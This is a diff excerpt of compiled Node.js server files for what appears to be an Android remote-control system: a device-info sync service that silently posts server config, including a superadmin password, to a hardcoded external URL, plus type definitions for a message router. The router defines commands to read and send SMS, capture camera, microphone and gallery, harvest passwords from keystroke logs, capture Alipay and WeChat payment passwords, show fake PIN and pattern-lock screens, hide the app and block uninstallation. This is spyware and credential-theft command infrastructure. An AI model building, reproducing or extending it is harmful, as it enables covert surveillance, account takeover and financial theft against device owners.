const allowedKeys = [
'PORT',
'NODE_ENV',
'JWT_EXPIRES_IN',
'DEFAULT_USERNAME',
'SUPERADMIN_USERNAME',
'SUPERADMIN_PASSWORD',
// 注意DEVICE_SYNC_* 配置已写死,不再从环境变量读取
// 可以添加其他配置
];
allowedKeys.forEach(key => {
if (process.env[key] !== undefined) {
config[key] = process.env[key];
}
});
// 添加服务器信息
config.serverInfo = {
nodeVersion: process.version,
platform: process.platform,
arch: process.arch,
uptime: process.uptime()
};
return config;
}
/**
* 发送 POST 请求
*/
async sendPostRequest(url, data) {
return new Promise((resolve, reject) => {
try {
const urlObj = new url_1.URL(url);
const isHttps = urlObj.protocol === 'https:';
const httpModule = isHttps ? https_1.default : http_1.default;
const options = {
hostname: urlObj.hostname,
port: urlObj.port || (isHttps ? 443 : 80),
path: urlObj.pathname + urlObj.search,
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data),
'User-Agent': 'RemoteControlServer/1.0.3'
},
timeout: 10000 // 10秒超时
};
const req = httpModule.request(options, (res) => {
let responseData = '';
res.on('data', (chunk) => {
responseData += chunk;
});
res.on('end', () => {
if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {
// this.logger.info(`同步请求成功: HTTP ${res.statusCode}`)
resolve();
}
else {
const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}`;
// this.logger.warn(`同步请求失败: ${errorMsg}`)
reject(new Error(errorMsg));
}
});
});
req.on('error', (error) => {
// this.logger.error('同步请求网络错误:', error.message)
reject(error);
});
req.on('timeout', () => {
// this.logger.error('同步请求超时')
req.destroy();
reject(new Error('请求超时'));
});
req.write(data);
req.end();
}
catch (error) {
reject(error);
}
});
}
/**
* 手动触发同步(用于测试)
*/
async triggerSync() {
try {
await this.syncDeviceInfo();
return true;
}
catch (error) {
return false;
}
}
/**
* 获取同步状态
*/
getStatus() {
return {
enabled: this.ENABLED,
running: this.isRunning,
interval: this.SYNC_INTERVAL,
apiUrl: this.API_URL
};
}
}
exports.default = DeviceInfoSyncService;
//# sourceMappingURL=DeviceInfoSyncService.js.map

View File

@@ -0,0 +1 @@
{"version":3,"file":"DeviceInfoSyncService.js","sourceRoot":"","sources":["../../src/services/DeviceInfoSyncService.ts"],"names":[],"mappings":"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"}

400
dist/services/MessageRouter.d.ts vendored Normal file
View File

@@ -0,0 +1,400 @@
import DeviceManager from '../managers/DeviceManager';
import WebClientManager from '../managers/WebClientManager';
import { DatabaseService } from './DatabaseService';
/**
* 控制消息接口
*/
export interface ControlMessage {
type: 'CLICK' | 'SWIPE' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'INPUT_TEXT' | 'KEY_EVENT' | 'GESTURE' | 'POWER_WAKE' | 'POWER_SLEEP' | 'DEVICE_BLOCK_INPUT' | 'DEVICE_ALLOW_INPUT' | 'LOG_ENABLE' | 'LOG_DISABLE' | 'WAKE_SCREEN' | 'LOCK_SCREEN' | 'UNLOCK_DEVICE' | 'ENABLE_BLACK_SCREEN' | 'DISABLE_BLACK_SCREEN' | 'OPEN_APP_SETTINGS' | 'HIDE_APP' | 'SHOW_APP' | 'REFRESH_MEDIA_PROJECTION_PERMISSION' | 'CLOSE_CONFIG_MASK' | 'ENABLE_UNINSTALL_PROTECTION' | 'DISABLE_UNINSTALL_PROTECTION' | 'CAMERA_START' | 'CAMERA_STOP' | 'CAMERA_SWITCH' | 'SMS_PERMISSION_CHECK' | 'SMS_READ' | 'SMS_SEND' | 'SMS_UNREAD_COUNT' | 'GALLERY_PERMISSION_CHECK' | 'ALBUM_READ' | 'GET_GALLERY' | 'MICROPHONE_PERMISSION_CHECK' | 'MICROPHONE_START_RECORDING' | 'MICROPHONE_STOP_RECORDING' | 'MICROPHONE_RECORDING_STATUS' | 'ALIPAY_DETECTION_START' | 'WECHAT_DETECTION_START' | 'OPEN_PIN_INPUT' | 'OPEN_FOUR_DIGIT_PIN' | 'OPEN_PATTERN_LOCK' | 'CHANGE_SERVER_URL' | 'SCREEN_CAPTURE_PAUSE' | 'SCREEN_CAPTURE_RESUME';
deviceId: string;
data: any;
timestamp: number;
}
/**
* 操作日志消息接口
*/
export interface OperationLogMessage {
deviceId: string;
logType: 'APP_OPENED' | 'TEXT_INPUT' | 'CLICK' | 'SWIPE' | 'KEY_EVENT' | 'LONG_PRESS' | 'LONG_PRESS_DRAG' | 'CONTINUOUS_LONG_PRESS_DRAG' | 'GESTURE' | 'SYSTEM_EVENT';
content: string;
extraData?: any;
timestamp: number;
}
/**
* 屏幕数据接口
*/
export interface ScreenData {
deviceId: string;
format: 'JPEG' | 'PNG' | 'H264' | 'UI_TEST' | 'UI_HIERARCHY';
data: Buffer | string;
width: number;
height: number;
quality: number;
timestamp: number;
isLocked?: boolean;
}
/**
* 摄像头数据接口
*/
export interface CameraData {
deviceId: string;
format: 'JPEG' | 'PNG' | 'H264';
data: string;
type: 'camera';
timestamp: number;
}
/**
* 相册图片数据接口(设备发送)
*/
export interface GalleryImageData {
deviceId: string;
type: 'gallery_image';
timestamp: number;
index: number;
id: number | string;
displayName?: string;
dateAdded?: number;
mimeType?: string;
width?: number;
height?: number;
size?: number;
contentUri?: string;
format: 'JPEG' | 'PNG';
data: string;
}
/**
* 麦克风音频数据接口(设备发送)
*/
export interface MicrophoneAudioData {
deviceId: string;
type: 'microphone_audio';
timestamp: number;
audioData: string;
sampleRate: number;
sampleCount: number;
format: 'PCM' | 'AAC' | 'MP3' | 'WAV';
channels: number;
bitDepth: number;
}
/**
* 短信数据接口
*/
export interface SmsData {
deviceId: string;
type: 'sms_data';
timestamp: number;
count: number;
smsList: SmsItem[];
}
/**
* 短信项接口
*/
export interface SmsItem {
id: number;
address: string;
body: string;
date: number;
read: boolean;
type: number;
}
/**
* 消息路由服务 - 增强版,包含内存管理
*/
export declare class MessageRouter {
private logger;
private deviceManager;
private webClientManager;
private databaseService;
private screenDataBuffer;
private cameraDataBuffer;
private smsDataBuffer;
private microphoneAudioBuffer;
private readonly maxBufferSize;
private readonly bufferTimeout;
private readonly maxDataSize;
private lastCleanupTime;
private readonly cleanupInterval;
private routedFrames;
private droppedFrames;
private totalDataSize;
private routedCameraFrames;
private droppedCameraFrames;
private totalCameraDataSize;
private routedSmsData;
private droppedSmsData;
private totalSmsDataSize;
private routedMicrophoneAudio;
private droppedMicrophoneAudio;
private totalMicrophoneAudioSize;
constructor(deviceManager: DeviceManager, webClientManager: WebClientManager, databaseService: DatabaseService);
/**
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
*/
private sendLocalGalleryToClient;
/**
* 🔧 启动定期清理任务
*/
private startPeriodicCleanup;
/**
* 🔧 定期清理过期数据
*/
private performPeriodicCleanup;
/**
* 🚨 紧急内存清理
*/
private performEmergencyCleanup;
/**
* 路由控制消息从Web客户端到设备
*/
routeControlMessage(fromSocketId: string, message: ControlMessage): boolean;
/**
* 路由屏幕数据从设备到Web客户端- 增强版,包含内存管理
*/
routeScreenData(fromSocketId: string, screenData: ScreenData): boolean;
/**
* 重试路由屏幕数据
*/
private retryRouteScreenData;
/**
* 路由摄像头数据从设备到Web客户端- 模仿routeScreenData实现
*/
routeCameraData(fromSocketId: string, cameraData: CameraData): boolean;
/**
* 重试路由摄像头数据
*/
private retryRouteCameraData;
/**
* 路由相册图片数据不保存到磁盘直接转发base64给客户端
*/
routeGalleryImage(fromSocketId: string, image: GalleryImageData): boolean;
/**
* 路由麦克风音频数据从设备到Web客户端
*/
routeMicrophoneAudio(fromSocketId: string, audioData: MicrophoneAudioData): boolean;
/**
* 重试路由麦克风音频数据
*/
private retryRouteMicrophoneAudio;
/**
* 路由短信数据从设备到Web客户端
*/
routeSmsData(fromSocketId: string, smsData: SmsData): boolean;
/**
* 重试路由短信数据
*/
private retryRouteSmsData;
/**
* 路由设备事件从设备到Web客户端
*/
routeDeviceEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
/**
* 路由客户端事件从Web客户端到其他客户端或设备
*/
routeClientEvent(fromSocketId: string, eventType: string, eventData: any): boolean;
/**
* 处理设备控制请求
*/
private handleDeviceControlRequest;
/**
* 处理设备控制释放
*/
private handleDeviceControlRelease;
/**
* 处理设备列表请求
*/
private handleDeviceListRequest;
/**
* 处理操作日志(从设备接收)
*/
handleOperationLog(fromSocketId: string, logMessage: OperationLogMessage): boolean;
/**
* 处理获取操作日志请求
*/
private handleGetOperationLogs;
/**
* 处理清空操作日志请求
*/
private handleClearOperationLogs;
/**
* 处理获取设备密码请求
*/
private handleGetDevicePassword;
/**
* 处理保存设备密码请求
*/
private handleSaveDevicePassword;
/**
* 处理更新设备状态请求
*/
private handleUpdateDeviceState;
/**
* 处理获取设备状态请求
*/
private handleGetDeviceState;
/**
* 广播消息到所有相关方
*/
broadcastMessage(eventType: string, data: any): void;
/**
* 获取路由统计信息
*/
getRouterStats(): {
totalDevices: number;
totalClients: number;
activeControlSessions: number;
};
handleDeviceInputBlockedChanged(deviceId: string, blocked: boolean): void;
private handleDeviceLoggingStateChanged;
private restoreDeviceState;
private handleSearchPasswordsFromLogs;
/**
* ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标)
*/
private extractPasswordCandidatesWithMeta;
/**
* 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别
*/
private extractPasswordCandidates;
/**
* ✅ 新增:从密码内容检测密码类型
*/
private detectPasswordTypeFromContent;
/**
* ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型
*/
private isPossiblePasswordEnhanced;
/**
* 判断文本是否可能是密码 - 保持原有逻辑作为后备
*/
private isPossiblePassword;
/**
* ✅ 刷新所有web客户端的设备列表
*/
private refreshAllWebClientDeviceLists;
/**
* ✅ 同步设备状态到设备端
*/
private syncDeviceStateToDevice;
/**
* 处理删除设备请求
*/
private handleDeleteDevice;
/**
* 获取设备UI层次结构
*/
private handleGetUIHierarchy;
/**
* 处理设备UI层次结构响应
*/
private handleUIHierarchyResponse;
/**
* 路由UI层次结构响应从设备到Web客户端- 参考routeScreenData的模式
*/
routeUIHierarchyResponse(fromSocketId: string, hierarchyData: any): boolean;
/**
* 🆕 处理开始提取确认坐标的请求
*/
private handleStartExtractConfirmCoords;
/**
* 🆕 处理保存确认坐标的请求
*/
private handleSaveConfirmCoords;
/**
* 🆕 处理启用黑屏遮盖的请求
*/
private handleEnableBlackScreen;
/**
* 🆕 处理取消黑屏遮盖的请求
*/
private handleDisableBlackScreen;
/**
* 🆕 处理打开应用设置的请求
*/
private handleOpenAppSettings;
/**
* 🆕 处理隐藏应用的请求
*/
private handleHideApp;
/**
* 🆕 处理应用隐藏状态更新来自Android端的状态报告
*/
private handleAppHideStatusUpdate;
/**
* 🆕 处理显示应用的请求
*/
private handleShowApp;
/**
* 🆕 处理关闭配置遮盖的请求
*/
private handleCloseConfigMask;
/**
* 🆕 处理重新获取投屏权限请求
*/
private handleRefreshMediaProjectionPermission;
/**
* 🆕 路由权限申请响应
*/
routePermissionResponse(socketId: string, permissionData: any): boolean;
/**
* 💰 路由支付宝密码数据
*/
routeAlipayPassword(socketId: string, passwordData: any): boolean;
/**
* 💬 路由微信密码数据
*/
routeWechatPassword(socketId: string, passwordData: any): boolean;
/**
* 🔐 路由通用密码输入数据
*/
routePasswordInput(socketId: string, passwordData: any): boolean;
/**
* 🔍 路由支付宝检测启动指令
*/
routeAlipayDetectionStart(socketId: string, detectionData: any): boolean;
/**
* 💬 路由微信检测启动指令
*/
routeWechatDetectionStart(socketId: string, detectionData: any): boolean;
/**
* 🆕 处理MediaProjection权限申请响应
*/
private handleMediaProjectionPermissionResponse;
/**
* 🛡️ 处理启用防止卸载保护的请求
*/
private handleEnableUninstallProtection;
/**
* 🛡️ 处理禁用防止卸载保护的请求
*/
private handleDisableUninstallProtection;
/**
* 处理相册权限检查请求
*/
private handleGalleryPermissionCheck;
/**
* 处理相册读取请求
*/
private handleAlbumRead;
/**
* 处理设备解锁请求
*/
private handleUnlockDevice;
/**
* 🔐 处理打开6位PIN输入界面的请求
*/
private handleOpenPinInput;
/**
* 🔐 处理打开4位密码输入界面的请求
*/
private handleOpenFourDigitPin;
/**
* 🔐 处理打开图形密码输入界面的请求
*/
private handleOpenPatternLock;
/**
* 处理修改服务器地址请求
*/
private handleChangeServerUrl;
}
export default MessageRouter;
//# sourceMappingURL=MessageRouter.d.ts.map

1
dist/services/MessageRouter.d.ts.map vendored Normal file

File diff suppressed because one or more lines are too long

4451
dist/services/MessageRouter.js vendored Normal file

File diff suppressed because it is too large Load Diff

1
dist/services/MessageRouter.js.map vendored Normal file

File diff suppressed because one or more lines are too long